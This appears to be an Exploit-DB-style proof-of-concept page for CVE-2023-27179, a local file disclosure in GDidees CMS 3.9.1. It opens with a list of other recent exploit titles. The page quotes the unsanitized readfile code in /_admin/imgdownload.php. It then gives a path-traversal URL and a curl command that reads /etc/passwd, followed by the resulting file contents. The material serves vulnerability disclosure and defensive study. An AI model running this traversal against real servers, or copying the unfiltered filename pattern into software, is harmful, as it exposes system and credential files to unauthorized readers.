bd09027499
18 changes to exploits/shellcodes/ghdb Franklin Fueling Systems TS-550 - Default Password Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information Linux Kernel 6.2 - Userspace Processes To Enable Mitigation Microsoft Word 16.72.23040900 - Remote Code Execution (RCE) Bang Resto v1.0 - 'Multiple' SQL Injection Bang Resto v1.0 - Stored Cross-Site Scripting (XSS) Chitor-CMS v1.1.2 - Pre-Auth SQL Injection GDidees CMS 3.9.1 - Local File Disclosure Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE) Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS) ProjeQtOr Project Management System 10.3.2 - Remote Code Execution (RCE) Serendipity 2.4.0 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - Remote Code Execution (RCE) (Authenticated) FUXA V.1.1.13-1186 - Unauthenticated Remote Code Execution (RCE) AspEmail v5.6.0.2 - Local Privilege Escalation File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
76 lines
No EOL
3.1 KiB
Text
76 lines
No EOL
3.1 KiB
Text
# Exploit Title: GDidees CMS 3.9.1 - Local File Disclosure
|
|
# Date : 03/27/2023
|
|
# Exploit Author : Hadi Mene
|
|
# Vendor Homepage : https://www.gdidees.eu/
|
|
# Software Link : https://www.gdidees.eu/cms-1-0.html
|
|
# Version : 3.9.1 and earlier
|
|
# Tested on : Debian 11
|
|
# CVE : CVE-2023-27179
|
|
|
|
### Summary:
|
|
|
|
GDidees CMS v3.9.1 and lower versions was discovered to contain a local file disclosure vulnerability via the filename parameter at /_admin/imgdownload.php.
|
|
|
|
|
|
### Description :
|
|
|
|
Imgdownload.php is mainly used by the QR code generation module to download an QR code.
|
|
The vulnerability occurs in line 4 where the filename parameter which will be opened later is not filtered or sanitized.
|
|
Furthermore, there is no admin session check in this code as it should since only the admin user should normally
|
|
be able to download QR code.
|
|
|
|
Vulnerable Code :
|
|
|
|
3. if (isset($_GET["filename"])) {
|
|
4. $filename=$_GET["filename"];
|
|
.....
|
|
.....
|
|
27. @readfile($filename) OR die();
|
|
|
|
|
|
### POC :
|
|
|
|
URL : https://[GDIDEESROOT]/_admin/imgdownload.php?filename=../../../../../../etc/passwd
|
|
|
|
Exploitation using curl
|
|
# curl http://192.168.0.32/cmsgdidees3.9.1-mysqli/_admin/imgdownload.php?filename=../../../../../etc/passwd
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
|
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
|
sync:x:4:65534:sync:/bin:/bin/sync
|
|
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
|
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
|
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
|
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
|
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
|
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
|
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
|
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
|
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
|
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
|
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
|
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
|
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
|
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
|
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
|
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
|
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
|
ntp:x:104:110::/nonexistent:/usr/sbin/nologin
|
|
messagebus:x:105:111::/nonexistent:/usr/sbin/nologin
|
|
uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin
|
|
pulse:x:107:115:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
|
|
lightdm:x:108:117:Light Display Manager:/var/lib/lightdm:/bin/false
|
|
hadi:x:1000:1000:hadi,,,:/home/hadi:/bin/bash
|
|
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
|
|
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
|
|
openldap:x:109:118:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
|
|
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
|
|
mysql:x:111:120:MySQL Server,,,:/nonexistent:/bin/false
|
|
|
|
|
|
### References:
|
|
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27179
|
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27179
|
|
https://www.exploit-db.com/papers/12883 |